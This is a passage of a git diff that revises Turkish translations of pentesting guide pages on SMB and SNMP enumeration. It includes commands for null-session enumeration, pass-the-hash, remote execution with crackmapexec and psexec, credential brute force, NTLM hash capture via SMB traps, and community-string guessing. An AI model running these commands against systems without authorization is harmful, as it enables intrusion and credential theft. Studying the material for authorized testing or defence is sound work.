139'un kullanımı gözlemlenmektedir; bu, SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştırıldığını göstermektedir. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ve yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlar; bu sayede Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazlar, daha eski sürümlerle sorunsuz bir şekilde etkileşimde bulunabilir. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır. +**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak, **dosyalara**, dizinlere ve yazıcılar ve yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlayarak, Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazların, daha eski sürümleri çalıştıranlarla sorunsuz bir şekilde etkileşimde bulunmasına olanak tanır. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır. -SMB sunucusu tarafından sağlanabilen paylaşımlar, **yerel dosya sisteminin** keyfi parçalarını temsil eder ve bu, bir istemciye sunucunun gerçek yapısından kısmen **bağımsız** olarak hiyerarşiyi görünür kılar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikler de dahil olmak üzere kullanıcı izinleri üzerinde **ince ayar** kontrolü sağlar. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır. +Yerel dosya sisteminin **rastgele parçalarını** temsil eden paylaşımlar, bir SMB sunucusu tarafından sağlanabilir ve bu, istemciye sunucunun gerçek yapısından kısmen **bağımsız** bir hiyerarşi sunar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **ince ayar kontrolü** sağlar; bu, **`çalıştır`**, **`oku`** ve **`tam erişim`** gibi nitelikleri içerir. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır. -### IPC$ Paylaşımı +### IPC$ Share IPC$ paylaşımına anonim bir null oturumu aracılığıyla erişim sağlanabilir ve bu, adlandırılmış borular aracılığıyla sunulan hizmetlerle etkileşimde bulunmayı mümkün kılar. Bu amaçla `enum4linux` aracı faydalıdır. Doğru kullanıldığında, aşağıdakilerin edinilmesini sağlar: @@ -40,7 +40,7 @@ Yukarıdaki komut, `target_ip` ile belirtilen bir hedefe karşı tam bir enumera ## NTLM Nedir -Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **bu protokolün nasıl çalıştığını ve nasıl faydalanabileceğinizi** açıklayan **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız: +Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız; burada **bu protokolün nasıl çalıştığı ve ondan nasıl yararlanabileceğiniz açıklanmaktadır:** {{#ref}} ../../windows-hardening/ntlm/ @@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24 SMB versiyonuna olası istismarlar aramak için hangi versiyonun kullanıldığını bilmek önemlidir. Bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz: -- **MSF** yardımcı modülünü kullanın \_**auxiliary/scanner/smb/smb_version** +- **MSF** yardımcı modülünü kullanın `**auxiliary/scanner/smb/smb_version**` - Ya da bu scripti kullanın: ```bash #!/bin/sh @@ -139,7 +139,7 @@ enumdomgroups ```bash lookupsid.py -no-pass hostname.local ``` -Tek Satır +Tek satır ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` @@ -195,9 +195,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **Manuel olarak Windows paylaşımlarını listeleyin ve onlara bağlanın** +### **Manually enumerate windows shares and connect to them** -Ana makinenin herhangi bir paylaşımını görüntülemeniz kısıtlanmış olabilir ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlanmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir. +Ana makinenin herhangi bir paylaşımlarını görüntülemede kısıtlı olabileceğiniz ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlanmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir. Windows hedefleri için yaygın paylaşım adları şunlardır: @@ -210,9 +210,9 @@ Windows hedefleri için yaygın paylaşım adları şunlardır: - SYSVOL - NETLOGON -(_**Network Security Assessment 3rd edition**_'dan yaygın paylaşım adları) +(Yaygın paylaşım adları _**Network Security Assessment 3rd edition**_'dan) -Aşağıdaki komutu kullanarak onlara bağlanmayı deneyebilirsiniz. +Onlara bağlanmayı denemek için aşağıdaki komutu kullanabilirsiniz. ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) @@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o ### **Windows'tan payları listele / üçüncü taraf araçlar olmadan** PowerShell -```powershell +```bash # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share @@ -258,7 +258,7 @@ net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` -MMC Ekleme (grafik) +MMC Eklentisi (grafik) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc @@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Dosyaları İndir** -Kimlik bilgileriyle nasıl bağlantı kurulacağını öğrenmek için önceki bölümleri okuyun. +Kimlik bilgileriyle/Pass-the-Hash ile nasıl bağlantı kurulacağını öğrenmek için önceki bölümleri okuyun. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -293,14 +293,14 @@ Komutlar: - mask: dizindeki dosyaları filtrelemek için kullanılan maskeyi belirtir (örneğin, "" tüm dosyalar için) - recurse: yinelemeyi açar (varsayılan: kapalı) -- prompt: dosya adları için istemeyi kapatır (varsayılan: açık) -- mget: maskeye uyan tüm dosyaları ana bilgisayardan istemci makinesine kopyalar +- prompt: dosya adları için istemi kapatır (varsayılan: açık) +- mget: maskeye uyan tüm dosyaları sunucudan istemci makinesine kopyalar (_smbclient'in man sayfasından bilgi_) ### Alan Paylaşılan Klasörler Arama -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* +- [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` @@ -310,11 +310,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Özellikle paylaşımlardan ilginç olanlar, **`Registry.xml`** adlı dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Ya da **`web.config`** dosyaları, çünkü bunlar kimlik bilgileri içerir. +Özellikle paylaşımlardan ilginç olanlar, **`Registry.xml`** adlı dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Veya **`web.config`** dosyaları, çünkü bunlar kimlik bilgileri içerir. > [!NOTE] -> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı batch, VBScript ve PowerShell **script** bulabilirsiniz.\ -> İçindeki **script**'leri **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgileri **bulabilirsiniz**. +> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı toplu iş, VBScript ve PowerShell **script** bulabilirsiniz.\ +> İçindeki **script**'leri **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgiler **bulabilirsiniz**. ## Kayıt Defterini Oku @@ -330,16 +330,16 @@ Bir **Samba** sunucusunun **varsayılan yapılandırması** genellikle `/etc/sam | **Ayar** | **Açıklama** | | --------------------------- | ------------------------------------------------------------------ | -| `browseable = yes` | Mevcut paylaşımları listelemeye izin ver? | -| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini yasakla? | -| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin ver? | -| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin ver? | -| `enable privileges = yes` | Belirli SID'lere atanan ayrıcalıkları dikkate al? | -| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekir? | -| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekir? | -| `logon script = script.sh` | Kullanıcının girişi sırasında hangi scriptin çalıştırılması gerekir? | -| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekir? | -| `magic output = script.out` | Magic scriptin çıktısının nereye kaydedilmesi gerekir? | +| `browseable = yes` | Mevcut paylaşımları listelemeye izin veriyor mu? | +| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini yasaklıyor mu? | +| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin veriyor mu? | +| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin veriyor mu? | +| `enable privileges = yes` | Belirli SID'lere atanan ayrıcalıkları dikkate alıyor mu? | +| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekiyor? | +| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekiyor? | +| `logon script = script.sh` | Kullanıcının girişi sırasında hangi scriptin çalıştırılması gerekiyor? | +| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekiyor? | +| `magic output = script.out` | Magic scriptin çıktısının nereye kaydedilmesi gerekiyor? | `Smbstatus` komutu **sunucu** hakkında ve **kimin bağlı olduğu** hakkında bilgi verir. @@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec, **wmiexec**'i **varsayılan** yöntem olarak kullanarak, **mmcexec, smbexec, atexec, wmiexec**'i **istismar ederek** komutları çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz: +crackmapexec, **wmiexec** varsayılan yöntem olmak üzere, **mmcexec, smbexec, atexec, wmiexec** kullanarak komutları **istismar ederek** çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz: ```bash apt-get install crackmapexec @@ -378,7 +378,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB üzerinden _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir yürütülebilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya olmadan teknik-**-).\ +Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB üzerinden _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir yürütülebilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya-sız teknik-**-).\ **Daha fazla bilgi** için [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)ve [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ **kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır. ```bash @@ -419,7 +419,7 @@ Görev Zamanlayıcı aracılığıyla komutları çalıştırın (SMB üzerinden [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -## **Kullanıcı kimlik bilgilerini bruteforce ile kırma** +## **Kaba kuvvetle kullanıcı kimlik bilgileri** **Bu önerilmez, maksimum izin verilen deneme sayısını aşarsanız bir hesabı engelleyebilirsiniz** ```bash @@ -433,7 +433,7 @@ Bu saldırı, iç ağda **SMB kimlik doğrulama oturumlarını** **yakalamak** i ## SMB-Trap -Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana bilgisayara kimlik doğrulama yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"` +Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana bilgisayara kimlik doğrulaması yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"` Bu, aşağıdaki işlevlerle gerçekleşir: @@ -452,7 +452,7 @@ Bu işlevler bazı tarayıcılar ve araçlar (Skype gibi) tarafından kullanıl ## NTLM Theft -SMB Trapping'e benzer şekilde, hedef sisteme kötü niyetli dosyalar yerleştirmek (örneğin SMB üzerinden) bir SMB kimlik doğrulama denemesi başlatabilir ve NetNTLMv2 hash'inin Responder gibi bir araçla yakalanmasına olanak tanır. Hash daha sonra çevrimdışı olarak kırılabilir veya bir [SMB relay attack](#smb-relay-attack) içinde kullanılabilir. +SMB Trapping'e benzer şekilde, hedef sisteme kötü niyetli dosyalar yerleştirmek (örneğin SMB üzerinden) bir SMB kimlik doğrulama girişimini tetikleyebilir ve NetNTLMv2 hash'inin Responder gibi bir araçla yakalanmasına olanak tanır. Hash daha sonra çevrimdışı olarak kırılabilir veya [SMB relay attack](#smb-relay-attack) için kullanılabilir. [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index bf4e575cf..8d27b57c7 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -11,25 +11,25 @@ PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) ``` > [!NOTE] -> SNMP ayrıca **traps** için **162/UDP** portunu kullanır. Bunlar, **SNMP sunucusundan istemciye açıkça talep edilmeden gönderilen veri paketleridir**. +> SNMP ayrıca **162/UDP** portunu **traps** için kullanır. Bunlar, **SNMP sunucusundan istemciye açıkça talep edilmeden gönderilen veri paketleridir**. ### MIB -SNMP erişiminin üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, **cihaz bilgilerini depolamak için bağımsız bir formattır**. Bir MIB, bir cihazın sorgulanabilir **SNMP nesnelerinin** listelendiği **standartlaştırılmış** bir ağaç hiyerarşisinde bulunan bir **metin** dosyasıdır. En az bir **`Nesne Tanımlayıcı` (`OID`)** içerir; bu, gerekli **benzersiz adres** ve bir **isim** ile birlikte, ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi sağlar.\ -MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; belirli OID için dönen değerleri veya hangi veri türünün kullanıldığını belirtir. +SNMP erişiminin üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, **cihaz bilgilerini depolamak için bağımsız bir formattır**. Bir MIB, bir cihazın sorgulanabilir **SNMP nesnelerinin** listelendiği **standartlaştırılmış** bir ağaç hiyerarşisinde bulunan bir **metin** dosyasıdır. En az bir `Nesne Tanımlayıcı` (`OID`) içerir; bu, gerekli **benzersiz adres** ve bir **isim** ile birlikte, ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi sağlar.\ +MIB dosyaları, `Soyut Söz Dizimi Notasyonu Bir` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; belirli OID için dönen değerleri veya hangi veri türünün kullanıldığını belirtir. ### OIDs **Nesne Tanımlayıcıları (OIDs)** kritik bir rol oynar. Bu benzersiz tanımlayıcılar, **Yönetim Bilgi Tabanı (MIB)** içindeki nesneleri yönetmek için tasarlanmıştır. -MIB nesne kimliklerinin en yüksek seviyeleri, çeşitli standart belirleyici kuruluşlara tahsis edilmiştir. Bu en üst seviyelerde, küresel yönetim uygulamaları ve standartları için çerçeve oluşturulmaktadır. +MIB nesne kimliklerinin en yüksek seviyeleri, çeşitli standart belirleyici kuruluşlara tahsis edilmiştir. Bu üst seviyelerde, küresel yönetim uygulamaları ve standartları için çerçeve oluşturulmaktadır. -Ayrıca, satıcılara özel dallar oluşturma özgürlüğü verilmektedir. Bu dallar içinde, kendi ürün yelpazelerine ilişkin yönetilen nesneleri ekleme **özerkliğine** sahiptirler. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlama ve yönetme için yapılandırılmış ve organize bir yöntem sağlar. +Ayrıca, satıcılara özel dallar oluşturma özgürlüğü verilmektedir. Bu dallar içinde, kendi ürün serilerine ilişkin yönetilen nesneleri ekleme **özerkliğine** sahiptirler. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlama ve yönetme için yapılandırılmış ve organize bir yöntem sağlar. ![](<../../images/SNMP_OID_MIB_Tree (1).png>) -Bir **OID ağacında** gezinmek için buradan erişebilirsiniz: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya **bir OID'nin ne anlama geldiğini görmek için** (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) adresine erişebilirsiniz.\ -[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içinde tanımlanan MIB-2'ye atıfta bulunan bazı **iyi bilinen OID'ler** vardır. Ve bu OID'lerden elde edebileceğiniz bazı ilginç ana bilgisayar verileri (sistem verileri, ağ verileri, süreç verileri...) bulunmaktadır. +Bir **OID ağacında** web üzerinden **gezinmek** için buradan ulaşabilirsiniz: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya **bir OID'nin ne anlama geldiğini görmek için** (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) adresine erişebilirsiniz.\ +[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içinde tanımlanan MIB-2'ye atıfta bulunan bazı **iyi bilinen OID'ler** vardır. Ve bu OID'lerden **bekleyen OID'ler** ile bazı ilginç ana bilgisayar verileri (sistem verileri, ağ verileri, süreç verileri...) elde edebilirsiniz. ### **OID Örneği** @@ -43,21 +43,21 @@ Bu adresin ayrıntılı açıklaması: - 3 – buna ORG denir ve cihazı üreten organizasyonu belirtmek için kullanılır. - 6 – bu, interneti ilk kuran organizasyon olan Savunma Bakanlığı'dır. - 1 – bu, tüm iletişimlerin İnternet üzerinden gerçekleşeceğini belirtmek için internetin değeridir. -- 4 – bu değer, bu cihazın özel bir organizasyon tarafından yapıldığını belirtir, hükümet tarafından değil. +- 4 – bu değer, bu cihazın özel bir organizasyon tarafından yapıldığını ve devlet tarafından yapılmadığını belirler. - 1 – bu değer, cihazın bir işletme veya ticari varlık tarafından yapıldığını belirtir. -Bu ilk altı değer, tüm cihazlar için genellikle aynıdır ve size temel bilgileri verir. Bu sayı dizisi, cihaz hükümet tarafından yapılmadığı sürece tüm OID'ler için aynı olacaktır. +Bu ilk altı değer, tüm cihazlar için genellikle aynıdır ve size temel bilgileri verir. Bu sayı dizisi, cihaz devlet tarafından yapılmadığı sürece tüm OID'ler için aynı olacaktır. -Sonraki sayı dizisine geçelim. +Sonraki sayı grubuna geçelim. - 1452 – bu cihazı üreten organizasyonun adını verir. - 1 – cihazın türünü açıklar. Bu durumda, bir alarm saatidir. - 2 – bu cihazın uzaktan terminal birimi olduğunu belirler. -Geri kalan değerler, cihaza özgü bilgileri verir. +Diğer değerler, cihaza özgü bilgileri verir. -- 5 – belirli bir alarm noktasını belirtir. -- 1 – cihazdaki belirli nokta +- 5 – ayrık bir alarm noktasını belirtir. +- 1 – cihazdaki belirli bir nokta - 3 – port - 21 – portun adresi - 1 – port için gösterim @@ -68,10 +68,10 @@ Geri kalan değerler, cihaza özgü bilgileri verir. SNMP'nin 2 önemli sürümü vardır: -- **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye** (topluluk dizesi) dayanır ve **düz metin** içinde iletilir (tüm bilgiler düz metin içinde iletilir). **Sürüm 2 ve 2c** de **düz metin** içinde trafik gönderir ve **kimlik doğrulama olarak bir topluluk dizesi kullanır**. +- **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye** (topluluk dizesi) dayanır ve **düz metin** içinde iletilir (tüm bilgiler düz metin içinde iletilir). **Sürüm 2 ve 2c** de **trafiği düz metin** içinde gönderir ve **kimlik doğrulama olarak bir topluluk dizesi kullanır**. - **SNMPv3**: Daha iyi bir **kimlik doğrulama** biçimi kullanır ve bilgiler **şifreli** olarak iletilir (bir **sözlük saldırısı** gerçekleştirilebilir ancak SNMPv1 ve v2'ye göre doğru kimlik bilgilerini bulmak çok daha zor olacaktır). -### Topluluk Düzleri +### Topluluk Düzeyleri Daha önce belirtildiği gibi, **MIB'de saklanan bilgilere erişmek için sürüm 1 ve 2/2c'de topluluk dizesini, sürüm 3'te ise kimlik bilgilerini bilmeniz gerekir.**\ **2 tür topluluk dizesi** vardır: @@ -79,22 +79,22 @@ Daha önce belirtildiği gibi, **MIB'de saklanan bilgilere erişmek için sürü - **`public`** esasen **sadece okuma** işlevleri - **`private`** **Okuma/Yazma** genel olarak -**Bir OID'nin yazılabilirliği, kullanılan topluluk dizesine bağlıdır**, bu nedenle **"public"** kullanıldığını bulsanız bile, bazı değerleri **yazma** yeteneğine sahip olabilirsiniz. Ayrıca, her zaman **"Sadece Okuma"** olan nesneler de **mevcut olabilir**.\ -Bir nesneye **yazmaya** çalıştığınızda, **`noSuchName` veya `readOnly` hatası** alınır\*\*.\*\* +Bir OID'nin yazılabilirliğinin, kullanılan topluluk dizesine bağlı olduğunu unutmayın, bu nedenle **"public"** kullanıldığını bulsanız bile bazı değerleri **yazma** yeteneğine sahip olabilirsiniz. Ayrıca, her zaman **"Sadece Okuma"** olan nesneler de **mevcut olabilir**.\ +Bir nesneye **yazmaya** çalıştığınızda **`noSuchName` veya `readOnly` hatası** alınır. -Sürüm 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız, sunucu **yanıt vermez**. Yani, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**. +Sürümler 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız, sunucu **yanıt vermez**. Yani, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**. ## Portlar [Wikipedia'dan](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol): - SNMP ajanı, UDP portu **161** üzerinde istekleri alır. -- Yönetici, bildirimleri ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) ve [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) portu **162** üzerinde alır. -- [Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Transport_Layer_Security) veya [Datagram Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) ile kullanıldığında, istekler portu **10161** üzerinde alınır ve bildirimler portu **10162**'ye gönderilir. +- Yönetici, port **162** üzerinde bildirimleri ( [Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) ve [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) alır. +- [Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Transport_Layer_Security) veya [Datagram Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) ile kullanıldığında, istekler port **10161** üzerinde alınır ve bildirimler port **10162**'ye gönderilir. ## Brute-Force Topluluk Dizesi (v1 ve v2c) -**Topluluk dizesini tahmin etmek için** bir sözlük saldırısı gerçekleştirebilirsiniz. SNMP'ye karşı bir brute-force saldırısı gerçekleştirmenin [farklı yollarını buradan kontrol edin](../../generic-hacking/brute-force.md#snmp). Sık kullanılan bir topluluk dizesi `public`'dir. +**Topluluk dizesini tahmin etmek** için bir sözlük saldırısı gerçekleştirebilirsiniz. SNMP'ye karşı bir brute-force saldırısı gerçekleştirmenin [farklı yollarını buradan kontrol edin](../../generic-hacking/brute-force.md#snmp). Sık kullanılan bir topluluk dizesi `public`'dir. ## SNMP'yi Sıralama @@ -164,7 +164,7 @@ cisco-snmp.md ## SNMP'den RCE'ye -Eğer SNMP hizmeti içinde **değerler yazmanıza** izin veren **dizeye** sahipseniz, bunu **komutları çalıştırmak** için kötüye kullanabilirsiniz: +Eğer SNMP hizmeti içinde **değerler yazmanıza** izin veren bir **dize** varsa, bunu **komutları çalıştırmak** için kötüye kullanabilirsiniz: {{#ref}} snmp-rce.md @@ -172,7 +172,7 @@ snmp-rce.md ## **Kapsamlı SNMP** -[Braa](https://github.com/mteg/braa), toplu bir SNMP tarayıcısıdır. Bu tür bir aracın amaçlanan kullanımı, elbette, SNMP sorguları yapmaktır – ancak net-snmp'den snmpwalk'tan farklı olarak, aynı anda onlarca veya yüzlerce ana bilgisayarı sorgulayabilir ve tek bir işlemde çalışır. Böylece, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar. +[Braa](https://github.com/mteg/braa), toplu bir SNMP tarayıcısıdır. Bu tür bir aracın amaçlanan kullanımı, elbette, SNMP sorguları yapmaktır – ancak net-snmp'deki snmpwalk'tan farklı olarak, aynı anda onlarca veya yüzlerce ana bilgisayarı sorgulayabilir ve tek bir işlemde çalışır. Böylece, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar. Braa, KENDİ snmp yığınına sahiptir, bu nedenle net-snmp gibi herhangi bir SNMP kütüphanesine ihtiyaç duymaz. @@ -180,19 +180,19 @@ Braa, KENDİ snmp yığınına sahiptir, bu nedenle net-snmp gibi herhangi bir S ```bash braa ignite123@192.168.1.125:.1.3.6.* ``` -Bu, manuel olarak işleyemeyeceğiniz çok miktarda bilgi çıkarabilir. +Bu, manuel olarak işleyemeyeceğiniz çok fazla MB bilgi çıkarabilir. -Şimdi en ilginç bilgilere bakalım (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): +Şimdi en ilginç bilgileri arayalım (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): ### **Cihazlar** -Süreç, cihazları tanımlamak için her dosyadan **sysDesc MIB verisinin** (1.3.6.1.2.1.1.1.0) çıkarılmasıyla başlar. Bu, bir **grep komutu** kullanılarak gerçekleştirilir: +Süreç, cihazları tanımlamak için her dosyadan **sysDesc MIB verisi** (1.3.6.1.2.1.1.1.0) çıkarılmasıyla başlar. Bu, bir **grep komutu** kullanılarak gerçekleştirilir: ```bash grep ".1.3.6.1.2.1.1.1.0" *.snmp 